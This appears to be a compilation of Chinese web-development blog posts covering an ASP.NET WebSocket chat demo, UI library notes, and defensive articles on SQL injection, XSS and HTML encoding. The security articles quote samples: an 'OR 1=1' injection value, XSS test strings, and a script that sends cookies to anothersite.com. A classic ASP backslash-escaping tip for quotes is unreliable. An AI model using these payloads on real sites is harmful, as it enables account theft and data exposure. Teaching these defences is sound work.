推荐使用 SignalR 来平替 WebSocket,参考教程。
【服务端(.NET)】
一、创建 WebSocketHandler 类,用于处理客户端发送过来的消息,并分发到其它客户端
public class WebSocketHandler
{
private static List<WebSocket> connectedClients = [];
public static async Task Handle(WebSocket webSocket)
{
connectedClients.Add(webSocket);
byte[] buffer = new byte[1024];
WebSocketReceiveResult result = await webSocket.ReceiveAsync(new ArraySegment<byte>(buffer), CancellationToken.None);
while (!result.CloseStatus.HasValue)
{
string message = Encoding.UTF8.GetString(buffer, 0, result.Count);
Console.WriteLine($"Received message: {message}");
// 处理接收到的消息,例如广播给其他客户端
await BroadcastMessage(message, webSocket);
result = await webSocket.ReceiveAsync(new ArraySegment<byte>(buffer), CancellationToken.None);
}
connectedClients.Remove(webSocket);
await webSocket.CloseAsync(result.CloseStatus.Value, result.CloseStatusDescription, CancellationToken.None);
}
private static async Task BroadcastMessage(string message, WebSocket sender)
{
foreach (var client in connectedClients)
{
if (client != sender && client.State == WebSocketState.Open)
{
await client.SendAsync(Encoding.UTF8.GetBytes(message), WebSocketMessageType.Text, true, CancellationToken.None);
}
}
}
}
二、在 Program.cs 或 Startup.cs 中插入:
// 添加 WebSocket 路由
app.UseWebSockets();
app.Use(async (context, next) =>
{
if (context.Request.Path == "/chat")
{
if (context.WebSockets.IsWebSocketRequest)
{
WebSocket webSocket = await context.WebSockets.AcceptWebSocketAsync();
await WebSocketHandler.Handle(webSocket);
}
else
{
context.Response.StatusCode = 400;
}
}
else
{
await next();
}
});
这里的路由路径可以更改,此处将会创建一个 WebSocket 连接,并将其传递给 WebSocketHandler.Handle 方法进行处理。
也可以用控制器来接收 WebSocket 消息。
【客户端(JS)】
<!DOCTYPE html>
<html>
<head>
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=0" />
<title>WebSocket 示例(JS + ASP.NET)</title>
<style>
#list { width: 100%; max-width: 500px; }
.tip { color: red; }
</style>
</head>
<body>
<h2>WebSocket 示例(JS + ASP.NET)</h2>
<textarea id="list" readonly rows="20"></textarea>
<div>
<input type="text" id="msg" />
<button onclick="fn_send()">发送</button>
<button onclick="fn_disconnect()">断开</button>
</div>
<p id="tip_required">请输入要发送的内容</p>
<p id="tip_closed">WebSocket 连接未建立</p>
<script>
var wsUrl = "wss://" + window.location.hostname + ":" + window.location.port + "/chat";
var webSocket;
var domList = document.getElementById('list');
// 初始化 WebSocket 并连接
function fn_ConnectWebSocket() {
webSocket = new WebSocket(wsUrl);
// 向服务端发送连接请求
webSocket.onopen = function (event) {
var content = domList.value;
content += "[ WebSocket 连接已建立 ]" + '\r\n';
domList.innerHTML = content;
document.getElementById('tip_closed').style.display = 'none';
webSocket.send(JSON.stringify({
msg: 'Hello'
}));
};
// 接收服务端发送的消息
webSocket.onmessage = function (event) {
if (event.data) {
var content = domList.value;
content += event.data + '\r\n';
domList.innerHTML = content;
domList.scrollTop = domList.scrollHeight;
}
};
// 各种情况导致的连接关闭或失败
webSocket.onclose = function (event) {
var content = domList.value;
content += "[ WebSocket 连接已关闭,3 秒后自动重连 ]" + '\r\n';
domList.innerHTML = content;
document.getElementById('tip_closed').style.display = 'block';
setTimeout(function () {
var content = domList.value;
content += "[ 正在重连... ]" + '\r\n';
domList.innerHTML = content;
fn_ConnectWebSocket();
}, 3000); // 3 秒后重连
};
}
// 检查连接状态
function fn_IsWebSocketConnected() {
if (webSocket.readyState === WebSocket.OPEN) {
document.getElementById('tip_closed').style.display = 'none';
return true;
} else {
document.getElementById('tip_closed').style.display = 'block';
return false;
}
}
// 发送内容
function fn_send() {
if (fn_IsWebSocketConnected()) {
var message = document.getElementById('msg').value;
document.getElementById('tip_required').style.display = message ? 'none' : 'block';
if (message) {
webSocket.send(JSON.stringify({
msg: message
}));
}
}
}
// 断开连接
function fn_disconnect() {
if (fn_IsWebSocketConnected()) {
// 部分浏览器调用 close() 方法关闭 WebSocket 时不支持传参
// webSocket.close(001, "Reason");
webSocket.close();
}
}
// 执行连接
fn_ConnectWebSocket();
</script>
</body>
</html>
【在线示例】
https://xoyozo.net/Demo/JsNetWebSocket
【其它】
-
服务端以 IIS 作为 Web 服务器,那么需要安装 WebSocket 协议
-
一个连接对应一个客户端(即 JS 中的 WebSocket 对象),注意与会话 Session 的区别
-
在实际项目中使用应考虑兼容性问题
-
程序设计应避免 XSS、CSRF 等安全隐患
-
参考文档:https://learn.microsoft.com/zh-cn/aspnet/core/fundamentals/websockets
ChatGPT:
当你从 <textarea>
中获取到的数据中包含换行符时,如果直接在 Vue 模板中使用插值表达式 {{}}
显示,是无法保持换行的。因为在 HTML 中,多个连续的空格和换行符都会被视为一个空格,因此如果直接将 \n
显示在模板中,会被渲染成一个空格。
解决这个问题的方法之一是使用 CSS 样式来控制换行的显示。可以为显示数据的元素添加 white-space: pre-wrap;
样式,该样式可以保留换行符并自动换行。
例如,假设你的数据保存在 text
变量中,可以这样在模板中使用:
<pre style="white-space: pre-wrap;">{{ text }}</pre>
在上面的例子中,使用 <pre>
元素来包裹要显示的数据,并添加 white-space: pre-wrap;
样式,这样数据中的换行符就能被保留并自动换行了。
另外,如果你在 Vue 组件中使用了 v-html
指令来显示数据,也可以在数据中使用 <br>
标签来手动添加换行符,然后使用 v-html
来渲染数据。但是,这种方法需要注意 XSS 攻击的问题,因为 v-html
可以渲染任意的 HTML 标签和内容,如果数据中包含恶意代码,很容易被攻击者利用。
判断是否为数字
if isNumeric(id) then
else
response.End
end if
强制转换为数字
ii = clng(ii)
转义单引号
replace(xxx, "'", "\'")
判断一个字符串是否包含另一个字符串
if instr(str, "s")>0 then
response.Write(1)
else
response.Write(0)
end if
核心文件路径:/theme/html/demo*/src/js/components/core.datatable.js
所有参数的默认值见该文件 3369 行起。
data:
属性 | 功能 | 值 |
type | 数据源类型 | local / remote |
source | 数据源 | 链接或对象(见下方) |
pageSize | 每页项数 | 默认 10 |
saveState | 刷新、重新打开、返回时仍保持状态 | 默认 true |
serverPaging | 是否在服务端实现分页 | 默认 false |
serverFiltering | 是否在服务端实现筛选 | 默认 false |
serverSorting | 是否在服务端实现排序 | 默认 false |
autoColumns | 为远程数据源启用自动列功能 | 默认 false |
attr |
data.source:
属性 | 功能 | 值 |
url | 数据源地址 | |
params | 请求参数 |
|
headers |
自定义请求的头 |
|
map | 数据地图,作用是对返回的数据进行整理和定位 |
|
layout:
属性 | 功能 | 值 |
theme | 主题 | 默认 default |
class | 包裹的 CSS 样式 | |
scroll | 在需要时显示横向或纵向滚动条 | 默认 false |
height | 表格高度 | 默认 null |
minHeight | 表格最小高度 | 默认 null |
footer | 是否显示表格底部 | 默认 false |
header | 是否显示表头 | 默认 true |
customScrollbar | 自定义的滚动条 | 默认 true |
spinner |
Loading 样式 |
|
icons | 表格中的 icon |
|
sortable | 是否支持按列排序 | 默认 true |
resizable |
是否支持鼠标拖动改变列宽 | 默认 false |
filterable | 在列中过滤 | 默认 false |
pagination |
显示分页信息 | 默认 true |
editable |
行内编辑 | 默认 false |
columns |
列 | 见本文下方 |
search |
搜索 |
|
layout.columns:
属性 | 功能 | 解释 |
field | 字段名 | 对应 JSON 的属性名,点击表头时作为排序字段名 |
title | 表头名 | 显示在表格头部 |
sortable | 默认排序方式 | 可选:'asc' / 'desc' |
width | 单元格最小宽度 | 值与 CSS 值一致,填数字时默认单位 px |
type | 数据类型 | 'number' / 'date' 等,与本地排序有关 |
format | 数据格式化 | 例格式化日期:'YYYY-MM-DD' |
selector | 是否显示选择框 | 布尔值或对象,如:{ class: '' } |
textAlign | 文字对齐方式 | 'center' |
overflow | 内容超过单元格宽度时是否显示 | 'visible':永远显示 |
autoHide | 自适应显示/隐藏 | 布尔值 |
template | 用于显示内容的 HTML 模板 | function(row) { return row.Id; } |
sortCallback | 排序回调 | 自定义排序方式,参 local-sort.js |
其它:
属性 | 功能 | 解释 |
translate | 翻译 |
参 core.datatable.js 3512 行,简体中文示例:
|
extensions |
暂时没有找到对字符串内容进行自动 HTML 编码的属性,这可能带来 XSS 攻击风险,在 remote 方式中必须在服务端预先 HtmlEncode。即使在 layout.columns.template 中进行处理也是无济于事,恶意代码会在 ajax 加载完成后立即执行。
方法和事件:待完善。
更多信息请查询官方文档:https://keenthemes.com/keen/?page=docs§ion=html-components-datatable
官方 Demo
WeUI:https://weui.io/
weui.js:https://weui.io/weui.js/
开发文档
WeUI:https://github.com/Tencent/weui/wiki
weui.js:https://github.com/Tencent/weui.js/blob/master/docs/README.md
WeUI for 小程序:https://github.com/Tencent/weui-wxss
引入
① <head /> 中加入:
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width,initial-scale=1,user-scalable=0" />
② 引用样式:(请更改地址中的版本号,参开发文档)
<link href="https://res.wx.qq.com/t/wx_fed/weui-source/res/2.5.16/weui.min.css" rel="stylesheet" />
③ (可选)引用脚本:(请将下方链接中的版本号替换为最新)
<script src="https://res.wx.qq.com/t/wx_fed/weui.js/res/1.2.17/weui.min.js"></script>
经验
搜索框的 <form /> 中不加 action 则键盘中显示灰色“换行”键,加入 action 则键盘中显示蓝色“搜索”键
互联网项目里边,SQL 注入漏洞、XSS 漏洞和猜测 URL 攻击这三个漏洞可谓历史悠久,然而直到今天还有人不断中枪,也真是微醺。
这几个漏洞说大也大,说小也小。说大是说这些漏洞危害大,会导致数据层面的安全问题;说小是从技术层面上讲都是未对外部输入做处理导致的,想要做针对性地防范很简单。下面简单看看这些漏洞的原因及防范方法。
SQL 注入
SQL 注入之所以存在,主要是因为工程师将外部的输入直接嵌入到将要执行的 SQL 语句中了。黑客可以利用这一点执行 SQL 指令来达到自己目的。举例来说,有一个接受参数为 id 的页面,在接收到id后从数据库中查询相应的数据, 其代码大致如下:
string SQL = "SELECT * FROM [User] WHERE ID=" + Request["ID"];
正常情况下,Request["ID"] 为数字,这条 SQL 能很好地工作。如果我们认为修改 Request["ID"],将其内容修改为 ID=1 OR 1=1 我们将得到这样一条 SQL:
SELECT * FROM [User] WHERE ID=1 OR 1=1
因为有 OR 的出现这条 SQL 语句已经可以获取 User 表中的任意信息。利用 SQL 注入漏洞,我们能够获取想要的信息,同时可以通过猜测-报错获取到数据库其它表的结构和信息,如果数据库、服务器权限设置不当,甚至有可能能获取到整个服务器的控制权限。
规避这种漏洞有很多种办法,以现代的编程语言来说,选择一个合适的 ORM 框架可以减少不少问题而且能大大提高开发效率。
如果因为某些原因需要继续写 SQL 语句,参数化查询也能解决这一问题。
对于需要拼接 SQL 语句的程序来说,注意两点也可以避免此问题。第一点是如果查询的字段类型是数字等类型,在拼接 SQL 前先判断输入是不是一个合法的数字,不合法则终止程序即可。第二点是如果字段类型是字符串,则记得将输入里的单引号进行转义。
XSS 攻击
如果说 SQL 注入是直接在 SQL 里执行了用户输入,那 XSS 攻击是在 HTML 里代码执行了用户输入。相对 SQL 注入,XSS 似乎更能引起人关注。几年前新浪微博被人利用 XSS 获取大量粉丝;3DM 也曾经被植入 script 代码对另一个游戏网站进行了惨无人道的 DDOS 攻击。
这里还是用 SQL 注入中的例子来说,假设页面输出为:
<div><%= Request["ID"] %></div>
这里我们可以在 Request["ID"] 里传入一段编码后的脚本,在最终输出的时候,就变成了一段可执行的 javascript 代码。
<script>window.location.href='anothersite.com?cookie=' + document.cookie;</script>
这段代码获取到当前页面的 cookie 值,并将 cookie 值传递到另一个名为 anothersite.com 的网站。利用这种模式,黑客可以获取到用户的登录信息或者将用户跳转到钓鱼网站来达成自己的目的。
XSS 攻击也可以简单分为两种,一种是上述例子中利用 url 引诱客户点击来实现;另一种是通过存储到数据库,在其它用户获取相关信息时来执行脚本。
防范 XSS 攻击需要在所有的字段都对输入的字符串进行 html encode(或者在输出时进行 encode)。如果需要使用富文本编辑的,可以考虑使用 UBB。
猜测 URL 攻击
猜测 URL 攻击是通过已知的 GET、POST 参数来猜测未公开的参数并尝试进行攻击。
以 Request["ID"] 为例,如果 ID 为 1 是合法的可访问的数据,可以通过尝试 ID=2,ID=3 等一系列来尝试是否对其它资源有访问、修改权限。如果控制不当,则可以轻松获得并修改数据。
要避免这种问题,方案一是使用较长的无规律的数字、字符来做为 ID,增大猜测难度;对于需要登录的程序,可以判断用户身份是否有对应 ID 数据的访问、修改权限;如果 ID 已经是自增类型且不需要登录,可以用过在 URL 里增加无规律的校验字段来避免。
其它需要注意的地方
安全是一个系统工程。
要提高系统安全性,最首要的一点是不要相信任何输入!不要相信任何输入!不要相信任何输入!重要的事情说三遍。这里的输入除了 URL 里的 GET 参数、POST 参数,还包括 COOKIE、Header 等可以进行修改的各类信息。
在程序设置方面,不输出客户不需要知道的各类信息,如原始的异常信息、异常附近的代码段等等,这样也能增加不少安全性。
最后,在测试或系统运行的过程中,可以使用类似 appscan 这样的安全检测工具来检查程序是否有漏洞。
XSS (跨站脚本攻击)虽然手段初级,但网站开发者稍不留神就会给黑客留下机会。在 ASP.NET 中,默认阻止了表单文本中的危险字符(譬如 HTML 标签),但有时为了功能需求,我们需要在服务端获取用户输入的任何文本或者富文本编辑器的内容,那么首先应该使用 JS 将数据进行 HTML 编码。
将以下测试文本填入到多行文本框内:
&a=1
'">ABC<'"
</pre>PRE<pre>
</textarea>AREA<textarea>
<script>alert(1)</script>
或将以下测试文本填入到单行文本框内:
&a=1'">a< /input>b<input value='"c<script>alert(1)</script>
使用 jQuery 异步 POST 方式提交到服务端:
$.post("post.aspx", {
myData: $("#myTextarea").val()
}, function (data) {
console.log(data);
}, 'text');
这时,post.aspx 将返回 500 内部服务器错误:
从客户端(......)中检测到有潜在危险的 Request.Form 值。
将提交代码稍作改动,把 POST 数据进行 HTML 编码:
$.post("post.aspx", { myData: $('<div />').text($("#myTextarea").val()).html() }, function (data) { console.log(data); }, 'text');
这样,服务端接收到的 myData 值应该是:
&a=1
'">ABC<'"
</pre>PRE<pre>
</textarea>AREA<textarea>
<script>alert(1)</script>
顺利通过 ValidateRequest 的检验。
我们在服务端对其进行一次 HTML 解码。
string myData = HttpUtility.HtmlDecode(Request.Form["myData"]);
// 接收时,去首尾空格、去 null
string myData = HttpUtility.HtmlDecode(Request.Form["myData"]?.Trim() ?? "");
客户端的编码和服务端的解码是一对互操作。
我们把用户输入的原始内容存入数据库中。
页面输出时,必须要经过 HTML 编码,否则内容将被解释成 HTML,出现跨站攻击漏洞。下面列出常见的输出到页面的方法(注意区分 <%=
与 <%:
,<%#
与 <%#:
)。这样,浏览器中查看源代码看到的即是 HTML 编码的内容,渲染后看到的即是原本在输入框中输入的原文。
// WebForm 输出到 div
<div><%: myData %></div>
// WebForm 输出到 pre
<pre><%: myData %></pre>
// WebForm 输出到文本脚本
<script type="text/plain"><%: myData %></script>
// WebForm 输出到单行文本框
<input type="text" value='<%: myData %>' />
// WebForm 输出到多行文本框
<textarea><%: myData %></textarea>
// WebForm 赋值到 <asp:TextBox /> (不需要手动 HtmlEncode)
input_myData.Text = myData;
// WebForm 绑定到数据控件
<%#: Eval("myData") %>
// MVC Razor
@Html.DisplayFor(model => model.myData)
// 或
@Model.myData
<%:
会自动替换 "
和 '
为 "
和 '
,不用担心输出到 <input /> 的 value 属性中会产生问题。
如果数据由 <textarea /> 提供并希望在输出时保持换行,那么先执行 HtmlEncode,再替换换行符:
// WebForm 输出到 div
<div><%= HttpUtility.HtmlEncode(myData)?.Replace(" ", " ").Replace("\r\n", "<br />").Replace("\r", "<br />").Replace("\n", "<br />") %></div>
// WebForm 输出到 pre(无须处理换行)
<pre><%: myData %></pre>
// WebForm 绑定到数据控件
<%# HttpUtility.HtmlEncode(Eval("myData"))?.Replace(" ", " ").Replace("\r\n", "<br />").Replace("\r", "<br />").Replace("\n", "<br />") %>
更特殊的例子:
// WebForm 输出到 Highcharts
var chart = Highcharts.chart('container', {
title: {
text: $('<div />').html('《<%: exam.title.Replace("\r", "").Replace("\n", "") %>》问卷回收量').html()
},
...
});
// 导出 Excel 时指定文件名(会自动替换非法字符)
Response.AddHeader("Content-Disposition", string.Format("attachment; filename={0}.xls", exam.title));
如果我们使用在线编辑器来编辑我们的内容,需要在浏览输出时实现“所见即所得”,那么就需要将原文输出到源代码,渲染后展示效果:
// ASPX
<%= myData %>
// Razor
@Html.Raw(Model.myData)
务必保证是网站编辑人员在授权登录下提交在线编辑器的内容,否则可能成为跨站攻击的漏洞。通常不建议普通网友使用在线编辑器,如一定要用,必须处理一些危险的标签,参此文。
总结
客户端输入的原文,经过 JS 的 HTML 编码传输到服务器,HTML 解码后存入数据库,读取展示时 HTML 编码输出(在线编辑器的内容不需要编码)。
建议
如果我们对所有输入的字符串作以上编码解码的处理想必是非常繁琐且容易出错的。微软提供了 ValidateRequest,不用不是太浪费了?
对于普通的文本框输入,我们省略 JS 端的 HTML 编码,省略服务端的 HTML 解码即可,输出仍然按文中描述处理。
好的用户体验是在 Request.Form["xxx"]
时进行容错处理并返回客户端友好提示。
我们仅针对在线编码器及需要以代码为内容的数据提交进行编码、解码处理,以绕过 ValidateRequest。
顺便提一下,千万不要这样写:
<%= Request.QueryString["xxx"] %>
千万不要动态拼接 SQL 语句,防止 SQL 注入。
知其然,才能使其安——王震
常见的攻击手法
SQL 注入
文件上传
弱口令
Nday 攻击
XSS
社会工程学
等等……
被黑原因总结
不知道 | 不及时 | 不在意 |
不知道自用系统安全动态 | 不及时更新系统安全补丁 | 不在意个人信息安全 |
不知道常见黑客攻击手段 | 不及时修复漏洞 | 不在意用户数据安全 |
不知道该如何修复 | 不及时排查被黑系统 | 不在意各种安全软件提示、提醒 |
不知道今后该如何防御 | 不在意细节 |
那些年,醉人的“三字经”
网站渗透娱乐版 | 针对企业的实战版 |
进谷歌 找注入 没注入 就旁注 没旁注 用0day 没0day 猜目录 没目录 就嗅探 爆账户 找后台 传小马 放大马 拿权限 挂页面 放暗链 清数据 |
搞企业 先扫描 默认密 都知道 社工库 找一找 邮箱号 先列好 九头蛇 跑一跑 搞不定 放大招 发邮件 凭伪造 没邮箱 搞网站 二级域 皆可爆 老漏洞 没修好 新漏洞 刷一票 干研发 Git 找 原代码 全都要 CDN 可以跳 防火墙 可以撬 堡垒机 可以绕 云防护 可以秒 是企业 没有哪家搞不了 |
攻击手法统计
Nday攻击:45%
漏洞攻击:35%
其他攻击:15%
0day攻击:5%
一些箴言
80%的安全问题都是已知的安全问题,但是能抵御已知安全问题的网站只有20%
弱口令虽然看起来很弱,但是忽视弱口令只会让你的网站变得更弱
没有百分之百的安全,你所做的一切不是为了让自己无坚不摧,只是让自己不再弱不禁风
80%的系统安全问题都是可以通过升级补丁来解决,但是能做到这点的人只有20%
SQL注入存在十几年了,依然是主流攻击手段,可见安全比的不是谁更先进,而是谁更细心
不要得罪你的开发人员,这就跟你吃饭不要得罪服务员一样,你不知道他下一秒会不会在你的菜里吐口水
还有一句
永远不要觉得你安装的安全防护软件真的可以保护你的安全
服务器安全注意事项
不安装不必要的软件
排查所有系统弱口令
关闭不常用的端口
控制目录权限
不在服务器上下载、打开非官方提供软件
不在服务器上打开他人发来的网页链接
如何排查暗链?
利用查看网站的源代码来检查黑链
使用站长工具“网站死链检测”功能来检查黑链
用 FTP 查看网站文件的修改时间来检查黑链
接入 webscan.360.cn 检测
后门排查
Windows 下,D 盾、安全狗、主机卫士
Linux 下,Seay 一句话扫描脚本、主机卫士 Linux 版
用 FTP 查看网站文件的修改时间来排查恶意后门
接入 webscan.360.cn 等在线检测
安全类书籍推荐
《Web 安全深度剖析》——张炳帅 著
《白帽子讲 Web 安全》——吴瀚清 著
《Web 前端黑客技术揭秘》——钟晨呜(余弦)著
《黑客攻防技术宝典 Web 实战篇》——国外某黑客 著
联系方式
在 ASP.NET 网站开发过程中,若提交的表单中包含有 HTML 代码,为了安全,.NET 会自动阻止提交,并抛出异常:
从客户端(......)中检测到有潜在危险的 Request.Form 值。
以前的做法是
WebFrom:在 <%@ Page %> 中加入 ValidateRequest="false"
MVC:给 Action 加上属性 [ValidateInput(false)]
显然这会给网站带来极大的风险,不推荐!
以下做法可以完美解决这个问题。
客户端把内容进行 HTML 编码,如:
content = $("<div />").text(content).html();
服务端把内容进行 HTML 解码,如:
string title = HttpUtility.HtmlDecode(Request.Form["content"]);